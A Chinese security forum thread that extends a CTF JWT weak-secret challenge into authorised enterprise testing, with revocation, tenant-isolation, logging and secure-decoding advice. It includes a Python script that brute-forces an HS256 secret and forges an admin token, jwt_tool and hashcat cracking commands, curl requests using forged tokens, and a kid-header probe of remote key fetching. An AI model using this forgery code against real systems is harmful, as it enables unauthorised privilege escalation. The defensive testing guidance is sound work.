跳转到帖子

从 JWT 弱密钥题到企业授权测试中的令牌伪造验证与日志闭环

精选回复

发布于

背景这类题在 CTF 里很常见:登录后拿到一个 JWT,题目提示“secret is weak”或者通过页面注释、备份文件泄露出签名密钥,最终通过伪造 admin 身份拿 flag。放到企业授权渗透测试里,JWT 弱密钥、算法配置不当、令牌生命周期过长同样会导致权限边界被绕过。本文不写泛泛的 JWT 科普,直接按一次授权测试中的验证流程来展开:如何定位令牌问题、如何验证签名密钥强度、如何判断是否存在权限提升风险、日志里应该看什么,以及修复时哪些配置必须落地。前提:只在授权环境、靶场或 CTF 场景中验证。不要对未授权系统做令牌爆破、伪造或重放测试。具体场景测试目标是一个内部业务系统,登录后前端请求接口时携带如下请求头:Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...解码 Header 和 Payload 后看到:Header:
{
\"alg\": \"HS256\",
\"typ\": \"JWT\"
}

Payload:
{
\"uid\": 1024,
\"username\": \"test01\",
\"role\": \"user\",
\"iat\": 1719980000,
\"exp\": 1720066400
}这里有几个值得关注的点:alg 使用 HS256,对称签名,服务端和签发端共享同一个 secret。role 直接放在令牌里,如果服务端只信任 token 内 role,风险较高。exp 时间较长,若 token 泄露,窗口期偏大。需要验证服务端是否严格校验签名,而不是只解码 payload。问题定位定位 JWT 风险时,不建议一上来就跑大字典。我的习惯是先看四类信息:前端静态资源:是否出现 jwtSecret、tokenKey、secret、signKey 等敏感字段。配置泄露:是否能访问 .env、config.js、application.yml.bak、docker-compose.yml。接口行为:修改 payload 后不改签名,观察服务端是否返回 401/403。日志反馈:查看网关、应用日志是否记录 token 校验失败原因,避免误判。例如在授权测试中发现静态资源里有一段旧配置:window.__APP_CONFIG__ = {
apiBase: \"/api\",
tokenHeader: \"Authorization\",
jwtSecretHint: \"company2023\"
}这不一定就是当前密钥,但足够作为弱口令验证线索。CTF 题里这通常就是突破口;真实环境里更多是历史配置、测试配置或误提交。技术分析JWT 的核心风险不在“能不能解码”,因为 JWT 本来就可以 Base64URL 解码。真正要验证的是:服务端是否正确校验签名、是否限制算法、是否重新校验权限边界。常见问题包括:弱 secret:如 123456、secret、公司名年份组合,容易被字典命中。算法混淆:服务端未固定算法,历史上常见 none 或 HS/RS 混用问题。权限信任过度:服务端直接相信 token 内 role=admin,没有到后端权限系统二次查询。过期策略不严:access token 生命周期过长,缺少 refresh token 轮换与吊销机制。日志缺失:签名失败、过期、权限不足没有可检索日志,事后无法追踪。操作步骤以下步骤适合 CTF 复现,也适合授权渗透测试中的风险验证。第一步:抓取登录后的正常请求,提取 JWT。第二步:本地解码 Header/Payload,确认算法和关键字段。第三步:修改 payload 中的低风险字段,如 username,不重新签名发送,确认服务端是否校验签名。第四步:在授权范围内使用小型字典验证 weak secret。第五步:若命中 secret,构造 role=admin 或指定权限字段,验证接口是否存在越权。第六步:同步检查应用日志、网关日志、认证服务日志,确认是否有完整留痕。代码/命令示例下面这个 Python 示例用于在授权环境中验证 HS256 JWT 弱密钥,并在命中后生成一个测试 token。字典应控制规模,避免对生产认证服务造成压力;这里是离线验证,不会打到服务端。import jwt
import time

token = \"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.xxxxx.yyyyy\"

wordlist = [
\"secret\",
\"123456\",
\"admin\",
\"company2023\",
\"company2024\",
\"jwtsecret\"
]

hit_secret = None

for secret in wordlist:
try:
payload = jwt.decode(
token,
secret,
algorithms=[\"HS256\"],
options={\"verify_exp\": False}
)
hit_secret = secret
print(\"[+] secret hit:\", secret)
print(\"[+] payload:\", payload)
break
except jwt.InvalidSignatureError:
continue
except Exception as e:
print(\"[-] error:\", secret, str(e))

if hit_secret:
new_payload = {
\"uid\": 1,
\"username\": \"admin_test\",
\"role\": \"admin\",
\"iat\": int(time.time()),
\"exp\": int(time.time()) + 600
}

forged = jwt.encode(
new_payload,
hit_secret,
algorithm=\"HS256\",
headers={\"typ\": \"JWT\"}
)

print(\"[+] forged token:\")
print(forged)如果只想快速查看 JWT 内容,不要把生产 token 粘到第三方网站。可以本地处理:python3 -

网络流量与边界分析示意图
网络请求、日志与边界流量分析示意

这个题如果要延伸到企业授权测试,建议把重点放在“可验证、可回滚、可留痕”三件事上,不要只停留在爆破出 secret 后改个 role=admin。

实测时可以按这个闭环走:

  1. 先确认算法和验签策略:重点看是否存在 alg=none、HS256/RS256 混淆、未固定算法、未校验 kid 来源等问题。

    python3 - <<'PY'
    import jwt, sys
    t = sys.argv[1]
    print(jwt.get_unverified_header(t))
    print(jwt.decode(t, options={"verify_signature": False}))
    PY 'eyJxxx.yyy.zzz'
  2. 弱密钥验证要控制范围:只针对授权目标和测试环境令牌做字典验证,避免对线上大规模 token 做无差别爆破。可以用 jwt_tool 或 hashcat 验证:

    python3 jwt_tool.py <JWT> -C -d wordlist.txt
    hashcat -m 16500 jwt.txt wordlist.txt --status

    如果能跑出 secret,再生成最小化影响的伪造 token,比如只改一个低风险声明:uid、tenant_id 或 role,不要直接做破坏性操作。

  3. 伪造验证建议用“只读接口”打点:比如用户信息、订单列表、组织成员列表这类 GET 接口。验证点不是“能不能登录后台”,而是服务端是否只信任 JWT 内声明,缺少二次鉴权。

    curl -i ' \
      -H 'Authorization: Bearer <forged_jwt>' \
      -H 'X-Test-Case: jwt-forge-202401'

    这里加一个自定义测试头比较有用,后续方便在网关、应用日志、WAF 日志里关联。

  4. 日志闭环要提前约定字段:很多企业的问题不是没有日志,而是 token 失败原因、用户 ID、租户 ID、来源 IP 没打全。建议至少确认下面几类事件是否能查到:

    • 签名校验失败:jwt_signature_invalid
    • 算法不匹配:jwt_alg_mismatch
    • token 过期:jwt_expired
    • 用户不存在或已禁用:subject_invalid
    • 越权访问:permission_denied

    日志里不要直接落完整 token,最多记录 jti、sub、iss、aud 和 token 哈希:

    token_hash = sha256(token).hexdigest()[:16]

修复侧也建议别只换一个复杂 secret。更稳妥的是:

  • 服务端固定允许算法,例如只允许 RS256 或只允许 HS256,不要从 header 里动态信任 alg。
  • HS256 场景 secret 至少 256 bit 随机值,放 KMS/密钥管理系统,不要写配置仓库。
  • 校验 iss、aud、exp、nbf、iat,高权限接口再查服务端权限表。
  • 如果使用 kid,只能从白名单 key set 取,禁止文件路径、URL、SQL 拼接式取 key。

一个比较典型的安全写法是固定算法和 issuer/audience:

import jwt

payload = jwt.decode(
    token,
    public_key,
    algorithms=["RS256"],
    issuer="
    audience="api.example.com",
    options={
        "require": ["exp", "iat", "iss", "aud", "sub"]
    }
)

最后报告里建议把证据链写清楚:原始 token 的 header/payload、弱密钥验证方式、伪造字段差异、访问的只读接口、对应日志查询结果、修复后复测结果。这样企业侧比较容易落地,也能避免“只是 CTF 思路,线上不好判断风险”的争议。

补一个我在企业授权测试里常用的做法:不要只验证“能不能伪造”,还要验证服务端是否做了撤销、绑定和审计。很多系统 JWT 签名没问题,但令牌生命周期和日志链路是断的。 可以按这几个点补测: 1. **同一 token 跨环境、跨应用复用** 看 token 里的 `aud`、`iss`、`azp`、`client_id` 是否被服务端严格校验。常见问题是测试环境、管理后台、开放 API 共用同一套验签密钥,只校验签名不校验受众。 建议抓一个正常 token 后,用相同 token 请求不同业务入口:
curl -i  \
  -H "Authorization: Bearer $TOKEN"

curl -i  \
  -H "Authorization: Bearer $TOKEN"
如果两个系统都接受,再看响应是不是只靠前端菜单控制权限,这类问题在企业里比弱密钥更常见。 2. **退出登录、改密、禁用账号后的 token 是否仍有效** JWT 无状态没问题,但关键操作后必须有撤销机制,比如 `jti` 黑名单、用户版本号、session version、refresh token 轮换等。 可以这样验证: - 登录获取 token A - 调用退出登录 / 修改密码 / 管理员禁用账号 - 再用 token A 请求敏感接口
curl -i  \
  -H "Authorization: Bearer $TOKEN_A"
如果仍返回 200,至少要在报告里标清影响范围:不是“签名绕过”,而是“令牌撤销失效/会话失效不完整”。 3. **权限字段是否完全信任 token 内声明** 即使伪造不了签名,也要看服务端是否把 `role`、`tenant_id`、`user_id` 当成唯一可信来源。多租户系统尤其要重点测 `tenant_id` 横向。 正常情况下后端应该用 token 里的 `sub` 查库,再结合数据库/权限中心判断,而不是直接信任:
{
  "sub": "10001",
  "role": "admin",
  "tenant_id": "A"
}
测试时可以重点观察接口是否存在这类参数组合:
GET /api/tenant/B/users
Authorization: Bearer <tenant A token>
如果 `tenant A` 的 token 能访问 `tenant B` 数据,问题本质是资源级授权缺失,不只是 JWT 配置问题。 4. **kid 相关测试要限制在安全边界内** `kid` 不只是 SQL 注入,有些实现会根据 `kid` 拼接本地文件或远程 JWKS 地址。测试时不要直接打破坏性 payload,可以先看错误差异和请求行为。 例如观察是否会对外请求可控地址:
{
  "alg": "RS256",
  "typ": "JWT",
  "kid": "
}
如果服务端真的去拉取这个地址,就要继续验证是否限制了 JWKS 域名白名单、证书校验、缓存策略,而不是直接上高危利用。 5. **日志闭环建议明确记录这些字段** 日志里只记 userId 不够,后续很难定位伪造、重放和跨租户访问。建议至少包含:
timestamp
request_id
user_id / sub
tenant_id
client_id / aud
jti
iss
source_ip
user_agent
api_path
auth_result
deny_reason
另外测试伪造 token 时,可以约定一个专用 `jti` 或测试账号,方便安全、研发、SOC 三边对齐:
{
  "sub": "security-test-user",
  "jti": "jwt-authz-test-20250101-001",
  "scope": "read:user"
}
然后在日志平台检索:
jti:"jwt-authz-test-20250101-001" OR sub:"security-test-user"
6. **修复建议可以落到配置层** 如果是 Java/Spring 这类服务,建议固定算法、固定 issuer/audience,不要从 token header 动态决定算法:
JwtDecoder decoder = NimbusJwtDecoder
    .withJwkSetUri("
    .jwsAlgorithm(SignatureAlgorithm.RS256)
    .build();

OAuth2TokenValidator<Jwt> issuerValidator =
    JwtValidators.createDefaultWithIssuer("

OAuth2TokenValidator<Jwt> audienceValidator = jwt -> {
    return jwt.getAudience().contains("api-service")
        ? OAuth2TokenValidatorResult.success()
        : OAuth2TokenValidatorResult.failure(
            new OAuth2Error("invalid_token", "invalid audience", null)
        );
};

decoder.setJwtValidator(new DelegatingOAuth2TokenValidator<>(
    issuerValidator,
    audienceValidator
));
总结一下,这类题延伸到企业场景,报告里最好不要只写“JWT 可伪造”。更准确的拆法是:签名策略、密钥管理、受众校验、令牌撤销、资源级授权、审计追踪分别验证。这样研发也更容易按模块修,不会最后只换个 secret 就算关闭。

创建帐户或登录后发表意见

最近浏览 0

  • 没有会员查看此页面。